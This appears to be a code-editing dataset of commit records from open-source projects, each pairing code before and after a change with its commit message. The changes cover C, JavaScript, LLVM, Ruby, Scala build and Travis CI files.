int main(int argc, char *argv[]) { char *host = "127.0.0.1"; int port = 2000; int timeout = 2; int sockfd, n; char buffer[256]; struct sockaddr_in serv_addr; struct hostent *server; struct timeval tv; tv.tv_sec = timeout; tv.tv_usec = 0; server = gethostbyname(host); bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(port); serv_addr.sin_family = AF_INET; sockfd = socket(AF_INET, SOCK_STREAM, 0); setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(struct timeval)); setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(struct timeval)); connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); n = read(sockfd, buffer, 255); if (n < 0) { perror("error reading from socket"); return 1; } printf("%s\n", buffer); return 0; }
Fix for Ubuntu 14.04, CentOS should work too
Fix for Ubuntu 14.04, CentOS should work too Assign zero to tv.tv_usec, or it maybe any value. The c version tiemout works on Ubuntu 14.04 after my fix.
C
mit
moret/socket-read-timeout,moret/socket-read-timeout
c
## Code Before: int main(int argc, char *argv[]) { char *host = "127.0.0.1"; int port = 2000; int timeout = 2; int sockfd, n; char buffer[256]; struct sockaddr_in serv_addr; struct hostent *server; struct timeval tv; tv.tv_sec = timeout; server = gethostbyname(host); bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(port); serv_addr.sin_family = AF_INET; sockfd = socket(AF_INET, SOCK_STREAM, 0); setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(struct timeval)); setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(struct timeval)); connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); n = read(sockfd, buffer, 255); if (n < 0) { perror("error reading from socket"); return 1; } printf("%s\n", buffer); return 0; } ## Instruction: Fix for Ubuntu 14.04, CentOS should work too Assign zero to tv.tv_usec, or it maybe any value. The c version tiemout works on Ubuntu 14.04 after my fix. ## Code After: int main(int argc, char *argv[]) { char *host = "127.0.0.1"; int port = 2000; int timeout = 2; int sockfd, n; char buffer[256]; struct sockaddr_in serv_addr; struct hostent *server; struct timeval tv; tv.tv_sec = timeout; tv.tv_usec = 0; server = gethostbyname(host); bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(port); serv_addr.sin_family = AF_INET; sockfd = socket(AF_INET, SOCK_STREAM, 0); setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(struct timeval)); setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(struct timeval)); connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); n = read(sockfd, buffer, 255); if (n < 0) { perror("error reading from socket"); return 1; } printf("%s\n", buffer); return 0; }
57b115db17198c4e9e08c7fdeba3a77aab83415c
application/layout/index.js
application/layout/index.js
var builder = require('focus').component.builder; var React = require('react'); var AppHeader = require('./app-header'); var stylableBehaviour = require('../../mixin/stylable'); var contentActionsMixin = { mixins: [stylableBehaviour], /** @inheriteddoc */ render: function renderActions() { return ( <div className={this._getStyleClassName()} data-focus='layout'> <AppHeader /> <div data-focus='page-content'></div> <footer data-focus='footer'>Team Focus</footer> {this.props.children} </div> ); } }; module.exports = builder(contentActionsMixin);
var builder = require('focus').component.builder; var React = require('react'); var AppHeader = require('./app-header'); var stylableBehaviour = require('../../mixin/stylable'); var contentActionsMixin = { mixins: [stylableBehaviour], getDefaultProps: function getDefaultLayoutProps(){ return { AppHeader: AppHeader }; }, /** @inheriteddoc */ render: function renderActions() { return ( <div className={this._getStyleClassName()} data-focus='layout'> <this.props.AppHeader /> <div data-focus='menu-left'><this.props.MenuLeft /></div> <div data-focus='page-content'></div> <footer data-focus='footer'>Team Focus</footer> {this.props.children} </div> ); } }; module.exports = builder(contentActionsMixin);
Update left menu from props.
[layout] Update left menu from props.
JavaScript
mit
anisgh/focus-components,KleeGroup/focus-components,Bernardstanislas/focus-components,JRLK/focus-components,sebez/focus-components,get-focus/focus-components,JRLK/focus-components,JRLK/focus-components,KleeGroup/focus-components,asimsir/focus-components,Jerom138/focus-components,Ephrame/focus-components,Bernardstanislas/focus-components,Jerom138/focus-components,asimsir/focus-components,Ephrame/focus-components,anisgh/focus-components,JabX/focus-components,Bernardstanislas/focus-components,JabX/focus-components,anisgh/focus-components,Ephrame/focus-components,Jerom138/focus-components,sebez/focus-components
javascript
## Code Before: var builder = require('focus').component.builder; var React = require('react'); var AppHeader = require('./app-header'); var stylableBehaviour = require('../../mixin/stylable'); var contentActionsMixin = { mixins: [stylableBehaviour], /** @inheriteddoc */ render: function renderActions() { return ( <div className={this._getStyleClassName()} data-focus='layout'> <AppHeader /> <div data-focus='page-content'></div> <footer data-focus='footer'>Team Focus</footer> {this.props.children} </div> ); } }; module.exports = builder(contentActionsMixin); ## Instruction: [layout] Update left menu from props. ## Code After: var builder = require('focus').component.builder; var React = require('react'); var AppHeader = require('./app-header'); var stylableBehaviour = require('../../mixin/stylable'); var contentActionsMixin = { mixins: [stylableBehaviour], getDefaultProps: function getDefaultLayoutProps(){ return { AppHeader: AppHeader }; }, /** @inheriteddoc */ render: function renderActions() { return ( <div className={this._getStyleClassName()} data-focus='layout'> <this.props.AppHeader /> <div data-focus='menu-left'><this.props.MenuLeft /></div> <div data-focus='page-content'></div> <footer data-focus='footer'>Team Focus</footer> {this.props.children} </div> ); } }; module.exports = builder(contentActionsMixin);
17c48f733744dab520f209500747d712f6b73742
test/Assembler/2002-05-02-ParseError.ll
test/Assembler/2002-05-02-ParseError.ll
; This should parse correctly without an 'implementation', but there seems to ; be a problem... %List = type { int, %List* } %List* "test"() begin ret %List* null end
; This should parse correctly without an 'implementation', but there seems to ; be a problem... %T = type int * %T "test"() begin ret %T null end
Simplify the testcase a bit
Simplify the testcase a bit git-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@2439 91177308-0d34-0410-b5e6-96231b3b80d8
LLVM
bsd-2-clause
dslab-epfl/asap,dslab-epfl/asap,dslab-epfl/asap,apple/swift-llvm,chubbymaggie/asap,dslab-epfl/asap,llvm-mirror/llvm,llvm-mirror/llvm,llvm-mirror/llvm,llvm-mirror/llvm,GPUOpen-Drivers/llvm,dslab-epfl/asap,GPUOpen-Drivers/llvm,GPUOpen-Drivers/llvm,chubbymaggie/asap,apple/swift-llvm,chubbymaggie/asap,apple/swift-llvm,GPUOpen-Drivers/llvm,llvm-mirror/llvm,chubbymaggie/asap,apple/swift-llvm,GPUOpen-Drivers/llvm,apple/swift-llvm,GPUOpen-Drivers/llvm,GPUOpen-Drivers/llvm,llvm-mirror/llvm,apple/swift-llvm,dslab-epfl/asap,llvm-mirror/llvm,apple/swift-llvm,chubbymaggie/asap,llvm-mirror/llvm,apple/swift-llvm,dslab-epfl/asap,GPUOpen-Drivers/llvm,llvm-mirror/llvm,chubbymaggie/asap
llvm
## Code Before: ; This should parse correctly without an 'implementation', but there seems to ; be a problem... %List = type { int, %List* } %List* "test"() begin ret %List* null end ## Instruction: Simplify the testcase a bit git-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@2439 91177308-0d34-0410-b5e6-96231b3b80d8 ## Code After: ; This should parse correctly without an 'implementation', but there seems to ; be a problem... %T = type int * %T "test"() begin ret %T null end
3765e23b8878498baf098d8eb7dda53f35a2ef11
lib/math_captcha/has_captcha.rb
lib/math_captcha/has_captcha.rb
module MathCaptcha module HasCaptcha def check_captcha self.errors.add_to_base("Captcha not answered correctly.") unless self.captcha.check(self.captcha_solution) end module ClassMethods def has_captcha attr_accessor :captcha, :captcha_solution validates_presence_of :captcha_solution, :on => :create, :message => "can't be blank" before_validation :check_captcha end end end end ActiveRecord::Base.send(:include, MathCaptcha::HasCaptcha) ActiveRecord::Base.send(:extend, MathCaptcha::HasCaptcha::ClassMethods)
module MathCaptcha module HasCaptcha def validate_on_create self.errors.add(:captcha_solution, "wrong answer.") unless self.captcha.check(self.captcha_solution) end module ClassMethods def has_captcha attr_accessor :captcha, :captcha_solution validates_presence_of :captcha_solution, :on => :create, :message => "can't be blank" end end end end ActiveRecord::Base.send(:include, MathCaptcha::HasCaptcha) ActiveRecord::Base.send(:extend, MathCaptcha::HasCaptcha::ClassMethods)
Make the captcha check work
Make the captcha check work
Ruby
mit
niklas/rails-math-captcha
ruby
## Code Before: module MathCaptcha module HasCaptcha def check_captcha self.errors.add_to_base("Captcha not answered correctly.") unless self.captcha.check(self.captcha_solution) end module ClassMethods def has_captcha attr_accessor :captcha, :captcha_solution validates_presence_of :captcha_solution, :on => :create, :message => "can't be blank" before_validation :check_captcha end end end end ActiveRecord::Base.send(:include, MathCaptcha::HasCaptcha) ActiveRecord::Base.send(:extend, MathCaptcha::HasCaptcha::ClassMethods) ## Instruction: Make the captcha check work ## Code After: module MathCaptcha module HasCaptcha def validate_on_create self.errors.add(:captcha_solution, "wrong answer.") unless self.captcha.check(self.captcha_solution) end module ClassMethods def has_captcha attr_accessor :captcha, :captcha_solution validates_presence_of :captcha_solution, :on => :create, :message => "can't be blank" end end end end ActiveRecord::Base.send(:include, MathCaptcha::HasCaptcha) ActiveRecord::Base.send(:extend, MathCaptcha::HasCaptcha::ClassMethods)
149881dc69428ea819ef7be6d7343a9dcb01243f
.travis.yml
.travis.yml
language: cpp compiler: - clang - gcc before_install: - sudo apt-add-repository -y ppa:jkeiren/ppa - if test $CC = gcc; then sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test; fi - sudo apt-get update -qq - if test $CC = gcc; then sudo apt-get install --yes --force-yes gcc-4.7 g++-4.7; fi - if test $CC = gcc; then sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.7 20; fi - if test $CC = gcc; then sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.7 20; fi - if test $CC = gcc; then sudo update-alternatives --config gcc; fi - if test $CC = gcc; then sudo update-alternatives --config g++; fi script: ./scripts/travis.sh
language: cpp compiler: - clang - gcc before_install: - sudo apt-add-repository -y ppa:jkeiren/ppa - if test $CC = gcc; then sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test; fi - sudo apt-get update -qq - if test $CC = gcc; then sudo apt-get install --yes --force-yes gcc-4.7 g++-4.7; fi - if test $CC = gcc; then sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.7 20; fi - if test $CC = gcc; then sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.7 20; fi - if test $CC = gcc; then sudo update-alternatives --config gcc; fi - if test $CC = gcc; then sudo update-alternatives --config g++; fi install: # Install newer version of cmake - DEPS_DIR="${TRAVIS_BUILD_DIR}/deps" - mkdir ${DEPS_DIR} && cd ${DEPS_DIR} - | if [[ "${TRAVIS_OS_NAME}" == "linux" ]]; then CMAKE_URL="http://www.cmake.org/files/v3.3/cmake-3.3.2-Linux-x86_64.tar.gz" mkdir cmake && travis_retry wget --no-check-certificate -O - ${CMAKE_URL} | tar --strip-components=1 -xz -C cmake export PATH=${DEPS_DIR}/cmake/bin:${PATH} else brew install cmake fi before_script: # Scripts run from build root. - cd ${TRAVIS_BUILD_DIR} script: ./scripts/travis.sh
Install newer version of cmake.
Install newer version of cmake.
YAML
mit
Bablawn3d5/entityx,Bablawn3d5/entityx,Bablawn3d5/entityx
yaml
## Code Before: language: cpp compiler: - clang - gcc before_install: - sudo apt-add-repository -y ppa:jkeiren/ppa - if test $CC = gcc; then sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test; fi - sudo apt-get update -qq - if test $CC = gcc; then sudo apt-get install --yes --force-yes gcc-4.7 g++-4.7; fi - if test $CC = gcc; then sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.7 20; fi - if test $CC = gcc; then sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.7 20; fi - if test $CC = gcc; then sudo update-alternatives --config gcc; fi - if test $CC = gcc; then sudo update-alternatives --config g++; fi script: ./scripts/travis.sh ## Instruction: Install newer version of cmake. ## Code After: language: cpp compiler: - clang - gcc before_install: - sudo apt-add-repository -y ppa:jkeiren/ppa - if test $CC = gcc; then sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test; fi - sudo apt-get update -qq - if test $CC = gcc; then sudo apt-get install --yes --force-yes gcc-4.7 g++-4.7; fi - if test $CC = gcc; then sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.7 20; fi - if test $CC = gcc; then sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.7 20; fi - if test $CC = gcc; then sudo update-alternatives --config gcc; fi - if test $CC = gcc; then sudo update-alternatives --config g++; fi install: # Install newer version of cmake - DEPS_DIR="${TRAVIS_BUILD_DIR}/deps" - mkdir ${DEPS_DIR} && cd ${DEPS_DIR} - | if [[ "${TRAVIS_OS_NAME}" == "linux" ]]; then CMAKE_URL="http://www.cmake.org/files/v3.3/cmake-3.3.2-Linux-x86_64.tar.gz" mkdir cmake && travis_retry wget --no-check-certificate -O - ${CMAKE_URL} | tar --strip-components=1 -xz -C cmake export PATH=${DEPS_DIR}/cmake/bin:${PATH} else brew install cmake fi before_script: # Scripts run from build root. - cd ${TRAVIS_BUILD_DIR} script: ./scripts/travis.sh
e098cade4b3738afab6b480b996a47cf676da661
library/build.sbt
library/build.sbt
seq(scalariformSettings: _*) name := "cilib" version := "0.8-SNAPSHOT" publishArtifact in packageDoc := false parallelExecution in Test := false scalaVersion := "2.9.2" libraryDependencies ++= Seq( "org.scalaz" %% "scalaz-core" % "6.0.4", "com.google.guava" % "guava" % "11.0.1", "org.parboiled" % "parboiled-core" % "0.11.0", "org.parboiled" % "parboiled-java" % "0.11.0", "org.functionaljava" % "functionaljava" % "3.1", "junit" % "junit" % "4.10" % "test", "org.mockito" % "mockito-all" % "1.8.4" % "test", "org.hamcrest" % "hamcrest-all" % "1.1" % "test", "org.specs2" %% "specs2" % "1.9" % "test", "com.novocode" % "junit-interface" % "0.9-RC3" % "test", "org.scalacheck" %% "scalacheck" % "1.10.0" % "test" ) javacOptions ++= Seq("-encoding", "UTF8", "-Xlint:deprecation") scalacOptions += "-deprecation" resolvers ++= Seq( "snapshots" at "http://oss.sonatype.org/content/repositories/snapshots", "releases" at "http://oss.sonatype.org/content/repositories/releases" )
seq(scalariformSettings: _*) name := "cilib" version := "0.8-SNAPSHOT" publishArtifact in packageDoc := false parallelExecution in Test := false scalaVersion := "2.9.2" libraryDependencies ++= Seq( "com.google.guava" % "guava" % "11.0.1", "org.parboiled" % "parboiled-core" % "0.11.0", "org.parboiled" % "parboiled-java" % "0.11.0", "org.functionaljava" % "functionaljava" % "3.1", "junit" % "junit" % "4.10" % "test", "org.mockito" % "mockito-all" % "1.8.4" % "test", "org.hamcrest" % "hamcrest-all" % "1.1" % "test", "com.novocode" % "junit-interface" % "0.9-RC3" % "test" ) javacOptions ++= Seq("-encoding", "UTF8", "-Xlint:deprecation") scalacOptions += "-deprecation" resolvers ++= Seq( "snapshots" at "http://oss.sonatype.org/content/repositories/snapshots", "releases" at "http://oss.sonatype.org/content/repositories/releases" )
Remove unneeded dependencies (for now at least)
Remove unneeded dependencies (for now at least) Signed-off-by: Gary Pamparà <[email protected]>
Scala
apache-2.0
cirg-up/cilib
scala
## Code Before: seq(scalariformSettings: _*) name := "cilib" version := "0.8-SNAPSHOT" publishArtifact in packageDoc := false parallelExecution in Test := false scalaVersion := "2.9.2" libraryDependencies ++= Seq( "org.scalaz" %% "scalaz-core" % "6.0.4", "com.google.guava" % "guava" % "11.0.1", "org.parboiled" % "parboiled-core" % "0.11.0", "org.parboiled" % "parboiled-java" % "0.11.0", "org.functionaljava" % "functionaljava" % "3.1", "junit" % "junit" % "4.10" % "test", "org.mockito" % "mockito-all" % "1.8.4" % "test", "org.hamcrest" % "hamcrest-all" % "1.1" % "test", "org.specs2" %% "specs2" % "1.9" % "test", "com.novocode" % "junit-interface" % "0.9-RC3" % "test", "org.scalacheck" %% "scalacheck" % "1.10.0" % "test" ) javacOptions ++= Seq("-encoding", "UTF8", "-Xlint:deprecation") scalacOptions += "-deprecation" resolvers ++= Seq( "snapshots" at "http://oss.sonatype.org/content/repositories/snapshots", "releases" at "http://oss.sonatype.org/content/repositories/releases" ) ## Instruction: Remove unneeded dependencies (for now at least) Signed-off-by: Gary Pamparà <[email protected]> ## Code After: seq(scalariformSettings: _*) name := "cilib" version := "0.8-SNAPSHOT" publishArtifact in packageDoc := false parallelExecution in Test := false scalaVersion := "2.9.2" libraryDependencies ++= Seq( "com.google.guava" % "guava" % "11.0.1", "org.parboiled" % "parboiled-core" % "0.11.0", "org.parboiled" % "parboiled-java" % "0.11.0", "org.functionaljava" % "functionaljava" % "3.1", "junit" % "junit" % "4.10" % "test", "org.mockito" % "mockito-all" % "1.8.4" % "test", "org.hamcrest" % "hamcrest-all" % "1.1" % "test", "com.novocode" % "junit-interface" % "0.9-RC3" % "test" ) javacOptions ++= Seq("-encoding", "UTF8", "-Xlint:deprecation") scalacOptions += "-deprecation" resolvers ++= Seq( "snapshots" at "http://oss.sonatype.org/content/repositories/snapshots", "releases" at "http://oss.sonatype.org/content/repositories/releases" )
8ce32d2ee2eda5a278593d9f61192ede2998a893
js/pihole/gravity.js
js/pihole/gravity.js
function eventsourcetest() { var alInfo = $("#alInfo"); var alSuccess = $("#alSuccess"); var ta = document.getElementById("output"); var source = new EventSource("php/gravity.sh.php"); alInfo.hide(); alSuccess.hide(); source.addEventListener("message", function(e) { if(e.data === "***START***"){ alInfo.show(); } else if(e.data === "***END***"){ alInfo.delay(1000).fadeOut(2000, function() { alInfo.hide(); }); } else if (e.data !== "") { ta.innerHTML += e.data; if(e.data.indexOf("Pi-hole blocking is Enabled") !== -1) { alSuccess.show(); } } }, false); // Will be called when script has finished source.addEventListener("error", function(e) { source.close(); }, false); } $(function(){ eventsourcetest(); });
function eventsourcetest() { var alInfo = $("#alInfo"); var alSuccess = $("#alSuccess"); var ta = document.getElementById("output"); var source = new EventSource("php/gravity.sh.php"); alInfo.hide(); alSuccess.hide(); source.addEventListener("message", function(e) { if(e.data === "***START***"){ alInfo.show(); } else if(e.data === "***END***"){ alInfo.delay(1000).fadeOut(2000, function() { alInfo.hide(); }); } else if(e.data.indexOf("Pi-hole blocking is Enabled") !== -1) { alSuccess.show(); ta.innerHTML += e.data; } else if (e.data !== "") { ta.innerHTML += e.data; } }, false); // Will be called when script has finished source.addEventListener("error", function(e) { source.close(); }, false); } $(function(){ eventsourcetest(); }); // Handle hiding of alerts $(function(){ $("[data-hide]").on("click", function(){ $(this).closest("." + $(this).attr("data-hide")).hide(); }); });
Reduce complexity of code as requested by codacy...
Reduce complexity of code as requested by codacy...
JavaScript
mit
jacobsalmela/AdminLTE,jacobsalmela/AdminLTE,jacobsalmela/AdminLTE,jacobsalmela/AdminLTE
javascript
## Code Before: function eventsourcetest() { var alInfo = $("#alInfo"); var alSuccess = $("#alSuccess"); var ta = document.getElementById("output"); var source = new EventSource("php/gravity.sh.php"); alInfo.hide(); alSuccess.hide(); source.addEventListener("message", function(e) { if(e.data === "***START***"){ alInfo.show(); } else if(e.data === "***END***"){ alInfo.delay(1000).fadeOut(2000, function() { alInfo.hide(); }); } else if (e.data !== "") { ta.innerHTML += e.data; if(e.data.indexOf("Pi-hole blocking is Enabled") !== -1) { alSuccess.show(); } } }, false); // Will be called when script has finished source.addEventListener("error", function(e) { source.close(); }, false); } $(function(){ eventsourcetest(); }); ## Instruction: Reduce complexity of code as requested by codacy... ## Code After: function eventsourcetest() { var alInfo = $("#alInfo"); var alSuccess = $("#alSuccess"); var ta = document.getElementById("output"); var source = new EventSource("php/gravity.sh.php"); alInfo.hide(); alSuccess.hide(); source.addEventListener("message", function(e) { if(e.data === "***START***"){ alInfo.show(); } else if(e.data === "***END***"){ alInfo.delay(1000).fadeOut(2000, function() { alInfo.hide(); }); } else if(e.data.indexOf("Pi-hole blocking is Enabled") !== -1) { alSuccess.show(); ta.innerHTML += e.data; } else if (e.data !== "") { ta.innerHTML += e.data; } }, false); // Will be called when script has finished source.addEventListener("error", function(e) { source.close(); }, false); } $(function(){ eventsourcetest(); }); // Handle hiding of alerts $(function(){ $("[data-hide]").on("click", function(){ $(this).closest("." + $(this).attr("data-hide")).hide(); }); });
e7cc7466c9cff59a4ea8a5c11b9ef4871371dde5
lib/ankirb/anki/deck.rb
lib/ankirb/anki/deck.rb
module Anki class Deck attr_accessor :name, :desc attr_reader :id, :cards def initialize name @name = name @id = Time.now.to_i @cards = {} end def add_card card card.deck = self @cards[card.id] = card end def cards @cards.values end def [] id @cards[id] end end class Card attr_accessor :front, :back, :tags, :deck attr_reader :id @@defaults = { :front => 'Card Front', :back => 'Card Back' } def initialize options={} @front = options[:front] || @@defaults[:front] @back = options[:back] || @@defaults[:back] @tags = options[:tags] || [] @id = Time.now.to_i end end class Type def self.new_type 0 end end class Queue def self.new_queue 0 end end end
module Anki class Deck attr_accessor :name, :desc attr_reader :id, :cards def initialize name @name = name @id = Time.now.to_i @cards = {} end def add_card card card.deck = self @cards[card.id] = card end def cards @cards.values end def [] id @cards[id] end end class Card attr_accessor :front, :back, :tags, :deck attr_reader :id def initialize options={} @front = options[:front] || '' @back = options[:back] || '' @tags = options[:tags] || [] @id = Time.now.to_i end alias :question :front alias :question= :front= alias :answer :back alias :answer= :back= end class Type def self.new_type 0 end end class Queue def self.new_queue 0 end end end
Add front / back aliases.
Add front / back aliases.
Ruby
mit
rkachowski/anki-rb
ruby
## Code Before: module Anki class Deck attr_accessor :name, :desc attr_reader :id, :cards def initialize name @name = name @id = Time.now.to_i @cards = {} end def add_card card card.deck = self @cards[card.id] = card end def cards @cards.values end def [] id @cards[id] end end class Card attr_accessor :front, :back, :tags, :deck attr_reader :id @@defaults = { :front => 'Card Front', :back => 'Card Back' } def initialize options={} @front = options[:front] || @@defaults[:front] @back = options[:back] || @@defaults[:back] @tags = options[:tags] || [] @id = Time.now.to_i end end class Type def self.new_type 0 end end class Queue def self.new_queue 0 end end end ## Instruction: Add front / back aliases. ## Code After: module Anki class Deck attr_accessor :name, :desc attr_reader :id, :cards def initialize name @name = name @id = Time.now.to_i @cards = {} end def add_card card card.deck = self @cards[card.id] = card end def cards @cards.values end def [] id @cards[id] end end class Card attr_accessor :front, :back, :tags, :deck attr_reader :id def initialize options={} @front = options[:front] || '' @back = options[:back] || '' @tags = options[:tags] || [] @id = Time.now.to_i end alias :question :front alias :question= :front= alias :answer :back alias :answer= :back= end class Type def self.new_type 0 end end class Queue def self.new_queue 0 end end end
773983c4d228d2d875c817d5e28ad0dc225c7cd1
index.md
index.md
--- layout: default --- ![Photo of desk](assets/cover_photo.jpg){:height="270px" width="400px"} # Andy Chase * [<i class="fa fa-github-alt" aria-hidden="true"></i> github](https://github.com/andychase) * [<i class="fa fa-flickr" aria-hidden="true"></i> flickr](http://www.flickr.com/photos/asperous/sets/) * [<i class="fa fa-linkedin-square" aria-hidden="true"></i> linkedin](https://www.linkedin.com/in/chasean/) {: #social-links .inline-list} {: #my-title} {% include posts.html %} ## Projects {% for project in site.data.projects %} - <a href="{{ project.link }}"><img src="/assets/featured/{{ project.name|slugify }}.png" alt="{{ project.name }}" width="400px" style="display: block;"><span class="project-info">{{ project.year }} &middot; {{ project.type }} &middot; {{ project.tech }}</span></a> {: .project-item} {% endfor %}{: .inline-list}
--- layout: default --- ![Photo of desk](assets/cover_photo.jpg){:height="270px" width="400px"} # Andy Chase * [<i class="fa fa-github-alt" aria-hidden="true"></i> github](https://github.com/andychase) * [<i class="fa fa-flickr" aria-hidden="true"></i> flickr](http://www.flickr.com/photos/asperous/sets/) {: #social-links .inline-list} {: #my-title} {% include posts.html %} ## Projects {% for project in site.data.projects %} - <a href="{{ project.link }}"><img src="/assets/featured/{{ project.name|slugify }}.png" alt="{{ project.name }}" width="400px" style="display: block;"><span class="project-info">{{ project.year }} &middot; {{ project.type }} &middot; {{ project.tech }}</span></a> {: .project-item} {% endfor %}{: .inline-list}
Remove linkedin for now since its deactivated currently
Remove linkedin for now since its deactivated currently
Markdown
cc0-1.0
andychase/andychase.github.io
markdown
## Code Before: --- layout: default --- ![Photo of desk](assets/cover_photo.jpg){:height="270px" width="400px"} # Andy Chase * [<i class="fa fa-github-alt" aria-hidden="true"></i> github](https://github.com/andychase) * [<i class="fa fa-flickr" aria-hidden="true"></i> flickr](http://www.flickr.com/photos/asperous/sets/) * [<i class="fa fa-linkedin-square" aria-hidden="true"></i> linkedin](https://www.linkedin.com/in/chasean/) {: #social-links .inline-list} {: #my-title} {% include posts.html %} ## Projects {% for project in site.data.projects %} - <a href="{{ project.link }}"><img src="/assets/featured/{{ project.name|slugify }}.png" alt="{{ project.name }}" width="400px" style="display: block;"><span class="project-info">{{ project.year }} &middot; {{ project.type }} &middot; {{ project.tech }}</span></a> {: .project-item} {% endfor %}{: .inline-list} ## Instruction: Remove linkedin for now since its deactivated currently ## Code After: --- layout: default --- ![Photo of desk](assets/cover_photo.jpg){:height="270px" width="400px"} # Andy Chase * [<i class="fa fa-github-alt" aria-hidden="true"></i> github](https://github.com/andychase) * [<i class="fa fa-flickr" aria-hidden="true"></i> flickr](http://www.flickr.com/photos/asperous/sets/) {: #social-links .inline-list} {: #my-title} {% include posts.html %} ## Projects {% for project in site.data.projects %} - <a href="{{ project.link }}"><img src="/assets/featured/{{ project.name|slugify }}.png" alt="{{ project.name }}" width="400px" style="display: block;"><span class="project-info">{{ project.year }} &middot; {{ project.type }} &middot; {{ project.tech }}</span></a> {: .project-item} {% endfor %}{: .inline-list}
559cbc6628dc8c59423fbebb3d2cc1319d9e7863
.travis.yml
.travis.yml
language: ruby before_install: - sudo apt-get update -qq - sudo apt-get install pkg-config cmake openssl - wget http://mosquitto.org/files/source/mosquitto-1.2.3.tar.gz install: - tar xzf mosquitto-1.2.3.tar.gz - cd mosquitto-1.2.3 - cmake . - sudo make install - bundle install before_script: - erb test/mosquitto.conf.erb > test/mosquitto.conf - mosquitto -d -c test/mosquitto.conf bundler_args: --quiet rvm: - 1.9.3 - 2.0 - 2.1 - 2.1.1 env: - GC_STRESS=0 - GC_STRESS=1 script: "bundle exec rake" gemfile: - Gemfile notifications: recipients: - [email protected] branches: only: - master
language: ruby before_install: - sudo apt-get update -qq - sudo apt-get install pkg-config cmake openssl - wget http://mosquitto.org/files/source/mosquitto-1.2.3.tar.gz install: - tar xzf mosquitto-1.2.3.tar.gz - cd mosquitto-1.2.3 - cmake . - sudo make install - bundle install before_script: - erb $TRAVIS_BUILD_DIR/test/mosquitto.conf.erb > $TRAVIS_BUILD_DIR/test/mosquitto.conf - mosquitto -d -c $TRAVIS_BUILD_DIR/test/mosquitto.conf bundler_args: --quiet rvm: - 1.9.3 - 2.0 - 2.1 - 2.1.1 env: - GC_STRESS=0 - GC_STRESS=1 script: "bundle exec rake" gemfile: - Gemfile notifications: recipients: - [email protected] branches: only: - master
Use absolute paths to mosquitto conf
Use absolute paths to mosquitto conf
YAML
bsd-3-clause
bergie/mosquitto,bergie/mosquitto,bergie/mosquitto,bergie/mosquitto,bergie/mosquitto
yaml
## Code Before: language: ruby before_install: - sudo apt-get update -qq - sudo apt-get install pkg-config cmake openssl - wget http://mosquitto.org/files/source/mosquitto-1.2.3.tar.gz install: - tar xzf mosquitto-1.2.3.tar.gz - cd mosquitto-1.2.3 - cmake . - sudo make install - bundle install before_script: - erb test/mosquitto.conf.erb > test/mosquitto.conf - mosquitto -d -c test/mosquitto.conf bundler_args: --quiet rvm: - 1.9.3 - 2.0 - 2.1 - 2.1.1 env: - GC_STRESS=0 - GC_STRESS=1 script: "bundle exec rake" gemfile: - Gemfile notifications: recipients: - [email protected] branches: only: - master ## Instruction: Use absolute paths to mosquitto conf ## Code After: language: ruby before_install: - sudo apt-get update -qq - sudo apt-get install pkg-config cmake openssl - wget http://mosquitto.org/files/source/mosquitto-1.2.3.tar.gz install: - tar xzf mosquitto-1.2.3.tar.gz - cd mosquitto-1.2.3 - cmake . - sudo make install - bundle install before_script: - erb $TRAVIS_BUILD_DIR/test/mosquitto.conf.erb > $TRAVIS_BUILD_DIR/test/mosquitto.conf - mosquitto -d -c $TRAVIS_BUILD_DIR/test/mosquitto.conf bundler_args: --quiet rvm: - 1.9.3 - 2.0 - 2.1 - 2.1.1 env: - GC_STRESS=0 - GC_STRESS=1 script: "bundle exec rake" gemfile: - Gemfile notifications: recipients: - [email protected] branches: only: - master
14a1d1514e1ae168f27177fc641bc2e13b9e6210
Android/Sample/web.about/src/main/java/net/wequick/example/small/web/about/MainActivity.java
Android/Sample/web.about/src/main/java/net/wequick/example/small/web/about/MainActivity.java
package net.wequick.example.small.web.about; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import net.wequick.small.Small; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Small.openUri("file:///android_asset/index.html", MainActivity.this); finish(); } }
package net.wequick.example.small.web.about; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import net.wequick.small.Small; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Small.preSetUp(getApplication()); Small.setUp(this, null); Small.openUri("file:///android_asset/index.html", MainActivity.this); finish(); } }
Fix the crash while running web.about module alone
Fix the crash while running web.about module alone
Java
apache-2.0
wequick/Small,wequick/Small,zhaoya188/Small,wequick/Small,zhaoya188/Small,zhaoya188/Small,zhaoya188/Small,wequick/Small,wequick/Small
java
